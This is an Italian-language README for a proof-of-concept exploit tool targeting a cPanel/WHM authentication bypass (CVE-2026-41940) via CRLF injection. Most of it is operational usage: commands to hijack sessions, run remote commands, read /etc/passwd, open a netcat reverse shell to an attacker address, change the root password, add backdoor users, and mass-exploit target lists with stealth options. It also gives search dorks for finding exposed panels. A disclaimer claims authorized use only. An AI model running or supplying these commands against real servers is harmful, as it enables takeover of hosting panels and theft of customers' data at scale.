
PoC exploit per CVE-2026-41940 che prende di mira il bypass di autenticazione di cPanel/WHM tramite CRLF injection. Supporta session hijacking, RCE, reverse shell, scansione di massa e shell interattiva per penetration testing autorizzato.

Edizione cPanel & WHM - Iniezione CRLF per Bypass dell'Autenticazione e Hijacking Completo della Sessione
Questo exploit sfrutta CVE-2026-41940, una vulnerabilità critica di bypass dell'autenticazione in cPanel/WHM. Iniettando un payload CRLF appositamente craftato nel sistema di gestione delle sessioni, si ottiene l'hijacking della sessione, l'accesso root e il controllo completo sul pannello di hosting senza alcuna credenziale valida.
| Categoria | Funzionalità |
|---|---|
| Sfruttamento | [+] Bypass dell'Autenticazione tramite Iniezione CRLF [+] Hijacking della Sessione WHM [+] Leakage del Token di Sicurezza [+] Accesso Root Immediato |
| Post-Sfruttamento | [+] Estrazione della Lista Account (Utente + Dominio) [+] Esecuzione Remota di Comandi (RCE) [+] Reverse Shell (compatibile netcat) [+] Lettura File (config, log, ecc) [+] Cambio Password Root [+] Creazione Nuovo Utente cPanel |
| Scansione | [+] Sfruttamento Singolo Target [+] Scansione Massiva Multi-Target [+] Multi-Threading (thread configurabili) [+] Supporto Override Porta |
| Stealth | [+] Ritardi Casuali tra le Richieste [+] Spoofing X-Forwarded-For [+] Supporto User-Agent Personalizzato [+] Supporto Proxy (HTTP/HTTPS) |
| Usabilità | [+] Shell WHM Interattiva (-i)[+] Output Colorato (colorama) [+] Modalità Verbose/Debug [+] Esportazione Lista Account su File [+] Thread di Sessione Keep-Alive [+] Meccanismo di Retry per Connessioni Instabili |
| Prodotto | Versioni | Stato |
|---|---|---|
| cPanel & WHM | 11.92 - 11.102 | [+] Confermato |
| cPanel & WHM | 11.104 - 11.110 | [+] Confermato |
| cPanel & WHM | 11.118 - 11.136 | [!] Limitato |
| cPanel & WHM | < 11.86 | [+] Possibilmente vulnerabile |
port:2087 "cPanel" "WHM"
port:2083 "cPanel"
Disclaimer: Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato è illegale.
# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41940-POC-Exploit
cd CVE-2026-41940-POC-Exploit
# Install dependencies
pip3 install -r requirements.txt
# Run
python3 exploit.py -t https://example.com:2087
# Basic exploitation (extract accounts)
python3 exploit.py -t https://192.168.1.100:2087
# Save accounts to file
python3 exploit.py -t https://192.168.1.100:2087 -o accounts.txt
# Verbose mode (debug output)
python3 exploit.py -t https://192.168.1.100:2087 -v
# Interactive WHM Shell (Recommended)
python3 exploit.py -t https://192.168.1.100:2087 -i
[email protected] $ accounts # List all cPanel accounts
[email protected] $ version # Show cPanel version
[email protected] $ ls /home # List directory
[email protected] $ cat /etc/passwd # Read file
[email protected] $ exec id # Execute command
[email protected] $ passwd NewPass123 # Change root password
[email protected] $ adduser test test.com pass123 # Create new user
[email protected] $ exit # Exit shell
## Esecuzione Remota di Comandi
```bash
# Execute single command
python3 exploit.py -t https://192.168.1.100:2087 --cmd "id"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "cat /etc/passwd"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "whoami; hostname; uname -a"
# Read file
python3 exploit.py -t https://192.168.1.100:2087 --read /etc/passwd
python3 exploit.py -t https://192.168.1.100:2087 --read /home/example/config.php
# Attacker machine (listener)
nc -lvnp 4444
# Exploit (reverse shell)
python3 exploit.py -t https://192.168.1.100:2087 --reverse-shell 10.0.0.1:4444
# Change root password
python3 exploit.py -t https://192.168.1.100:2087 --passwd "NewRootPass123!"
# Create new cPanel user
python3 exploit.py -t https://192.168.1.100:2087 --adduser hacker hacker.com Pass1234
# Keep-alive session (maintain access)
python3 exploit.py -t https://192.168.1.100:2087 --no-keep-alive # Disable auto keep-alive
# Create targets file
echo "https://target1.com:2087" > targets.txt
echo "https://target2.com:2087" >> targets.txt
echo "https://10.0.0.5:2087" >> targets.txt
# Mass exploit with 20 threads
python3 exploit.py -l targets.txt --threads 20
# Mass exploit with command execution
python3 exploit.py -l targets.txt --threads 10 --cmd "id"
# Custom port (non-standard)
python3 exploit.py -t https://example.com -p 8443
# Using proxy
python3 exploit.py -t https://192.168.1.100:2087 --proxy http://127.0.0.1:8080
# Custom user-agent for stealth
python3 exploit.py -t https://192.168.1.100:2087 -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
# Custom delay and retries
python3 exploit.py -t https://192.168.1.100:2087 --delay 5 --max-retries 5
# SSL verification (ignore self-signed by default)
python3 exploit.py -t https://192.168.1.100:2087 --ssl-verify
| Short | Long | Descrizione | Default |
|---|---|---|---|
-t | --target | URL singolo target | Richiesto (singolo) |
-l | --target-file | File contenente la lista dei target | Richiesto (massivo) |
-p | --port | Override porta | Auto-detect |
-o | --output | Salva la lista account su file | None |
-v | --verbose | Abilita output di debug | False |
-i | --interactive | Shell WHM interattiva | False |
--proxy | Proxy HTTP/HTTPS | None | |
-ua | --user-agent | User-Agent personalizzato | Random |
--cmd | Esegue un singolo comando | None | |
--reverse-shell | Reverse shell IP:PORT | None | |
--passwd | Cambia la password root | None | |
--adduser | Crea un nuovo utente (USER DOMAIN PASS) | None | |
--read | Legge un file dal target | None | |
--threads | Thread per la scansione massiva | 10 | |
--delay | Intervallo keep-alive (secondi) | 3.0 | |
--max-retries | Numero massimo di retry per richiesta | 3 | |
--no-keep-alive | Non mantenere la sessione | False | |
--ssl-verify | Verifica i certificati SSL | False |
docker run -d --name cpanel-test -p 2087:2087 cpanel/cpanel:102
docker pull cpanel/cpanel:11.102 docker run -d -p 2087:2087 cpanel/cpanel:11.102
Dai un'occhiata agli altri miei repository di exploit:
Questo toolkit è fornito esclusivamente per test di sicurezza autorizzati, attività di red team e ricerca difensiva. Utilizzando questo software, accetti i seguenti termini: